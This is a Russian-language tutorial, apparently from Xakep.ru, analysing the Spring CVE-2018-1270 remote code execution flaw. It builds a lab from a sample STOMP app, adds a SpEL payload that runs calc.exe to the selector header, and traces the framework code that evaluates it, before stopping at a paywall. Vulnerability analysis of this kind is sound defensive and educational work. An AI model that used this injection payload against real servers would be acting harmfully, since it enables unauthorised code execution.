Spring — это популярнейший фреймворк для разработки на Java, на нем базируются сотни решений в самых разных областях. Тут и всевозможные веб-сайты, и энтерпрайз-сервисы, и много другого. Трудно найти серьезное приложение на Java, которое бы не использовало Spring. Недавно в нем были найдены две критические уязвимости, которые приводят к удаленному исполнению кода. Давай посмотрим, как они работают.

Первая уязвимость (CVE-2018-1270) касается модуля для работы с веб-сокетами, вторая (CVE-2018-1260) — модуля авторизации по протоколу OAuth2. Но прежде чем разбирать их, подготовим стенд для тестирования.

 

Стенд

Снова мои любимые стенды для Java, да еще и с модулями фреймворка, о чем еще можно мечтать? 🙂

В работе нам понадобятся:

  • любая операционка;
  • Docker;
  • Java 8;
  • Maven или другая Ant-подобная тулза для билда;
  • в идеале какая-нибудь IDE, но и обычный текстовый редактор сойдет.

Как ты уже понял, для каждой уязвимости нужно будет скачивать, компилировать и запускать приложения, написанные на Java. Компиляция и запуск в общем случае будут сводиться к паре команд.

$ mvn package
$ java -jar target\package.jar

Если воспользуешься IDE, то процесс будет более наглядным. Я для своей работы возьму IntelliJ IDEA. Все остальные манипуляции рассмотрим по ходу разбора уязвимостей. Погнали!

 

RCE в модуле spring-messaging (CVE-2018-1270)

Первый баг в списке — это удаленное выполнение команд в модуле spring-messaging, который входит в стандартную поставку Spring Framework. Уязвимость, найденная 5 апреля, получила идентификатор CVE-2018-1270 и имеет статус критической. Она затрагивает все версии фреймворка из веток 4 и 5, вплоть до актуальных 4.3.14 и 5.0.4. Проблема заключается в некорректной логике обработки STOMP-сообщений (Simple/Streaming Text Oriented Message Protocol) и легко эксплуатируется удаленно.

STOMP — это специально спроектированный протокол обмена сообщениями. Он прост и основан на фреймах, подобно HTTP. Фрейм состоит из команды, необязательных заголовков и необязательного тела. Благодаря своей простоте STOMP может быть реализован поверх большого количества других протоколов, таких как RabbitMQ, ActiveMQ и других. Также можно успешно организовать работу поверх WebSockets. Именно этот способ нам интересен в рамках уязвимости, так как проблема находится в модуле spring-messaging, в реализации протокола STOMP.

Для тестирования уязвимости нам потребуется скачать примеры использования STOMP из репозитория https://github.com/spring-guides/gs-messaging-stomp-websocket. Подойдет любой коммит до 5 апреля.

Коммиты в репозитории с примерами работы протокола STOMP
Коммиты в репозитории с примерами работы протокола STOMP
$ git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
$ cd gs-messaging-stomp-websocket
$ git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3

Теперь заглянем в папку, где хранится фронтенд. Нас интересует файл app.js, а в нем — функция, которая отвечает за подключение клиента к серверу. Для этих целей здесь используется библиотека SockJS.

/gs-messaging-stomp-websocket/complete/src/main/resources/static/app.js
15: function connect() {
16:     var socket = new SockJS('/gs-guide-websocket');
17:     stompClient = Stomp.over(socket);
18:     stompClient.connect({}, function (frame) {
19:         setConnected(true);
20:         console.log('Connected: ' + frame);
21:         stompClient.subscribe('/topic/greetings', function (greeting) {
22:             showGreeting(JSON.parse(greeting.body).content);
23:         });
24:     });
25: }

Нам нужно добавить переменную с пейлоадом, которая будет отправляться в качестве заголовка selector при создании подключения. Для облегчения эксплуатации можно сделать это до компиляции.

15: function connect() {
16:     var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
17:     var socket = new SockJS('/gs-guide-websocket');
18:     stompClient = Stomp.over(socket);
19:     stompClient.connect({}, function (frame) {
20:         setConnected(true);
21:         console.log('Connected: ' + frame);
22:         stompClient.subscribe('/topic/greetings', function (greeting) {
23:             showGreeting(JSON.parse(greeting.body).content);
24:         }, header);
25:     });
26: }

После этого можно откомпилировать и запустить приложение.

$ cd complete
$ mvn package
$ java -jar target/gs-messaging-stomp-websocket-0.1.0.jar
Запущенное приложение для тестирования STOMP
Запущенное приложение для тестирования STOMP

Согласно спецификации протокола STOMP переданные в хидере selector данные будут использоваться для фильтрации информации о подписках.

В файле DefaultSubscriptionRegistry.java имеется функция, которая отрабатывает при создании нового подключения, где генерируется новая подписка на события для этого клиента.

/org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java
139: @Override
140: protected void addSubscriptionInternal(
141:         String sessionId, String subsId, String destination, Message<?> message) {
142:
143:     Expression expression = null;
144:     MessageHeaders headers = message.getHeaders();
145:     String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers);
...
160:     this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
161:     this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);

А если встречается хидер selector, то его содержимое интерпретируется как выражение на языке SpEL (Spring Expression Language). За его обработку отвечает функция doParseExpression класса SpelExpression.

/org/springframework/expression/spel/standard/InternalSpelExpressionParser.java
121: @Override
122: protected SpelExpression doParseExpression(String expressionString, @Nullable ParserContext context)
123:         throws ParseException {
124:
125:     try {
126:         this.expressionString = expressionString;
127:         Tokenizer tokenizer = new Tokenizer(expressionString);
128:         this.tokenStream = tokenizer.process();
129:         this.tokenStreamLength = this.tokenStream.size();
130:         this.tokenStreamPointer = 0;
131:         this.constructedNodes.clear();
132:         SpelNodeImpl ast = eatExpression();
133:         Assert.state(ast != null, "No node");
Обработка заголовка selector при создании соединения
Обработка заголовка selector при создании соединения

Здесь есть возможность вызова конструктора java.lang.Class при помощи модификатора T.

Парсинг выражения, переданного в selector
Парсинг выражения, переданного в selector

Это значит, что мы довольно просто можем создать экземпляр объекта java.lang.Runtime и выполнить произвольную команду при помощи метода exec.

Обработанное выражение на SpEL, переданное в selector
Обработанное выражение на SpEL, переданное в selector

Теперь, после того как селектор привязан к сообщениям, на которые подписан пользователь, можно продолжать общение с сервером, чтобы начать получать эти самые сообщения. Для этого в примере предусмотрен стандартный Hello, %username%.

Когда гость отправит имя с помощью соответствующей формы, сервер должен его поприветствовать. То есть он должен выслать ответ всем пользователям, которые подписаны на это событие. Этим занимается функция sendMessageToSubscribers, в которой выполняется метод findSubscriptions. Он находит всех адресатов, которые были подписаны на сообщения этого типа.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


Подписаться
Уведомить о
3 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии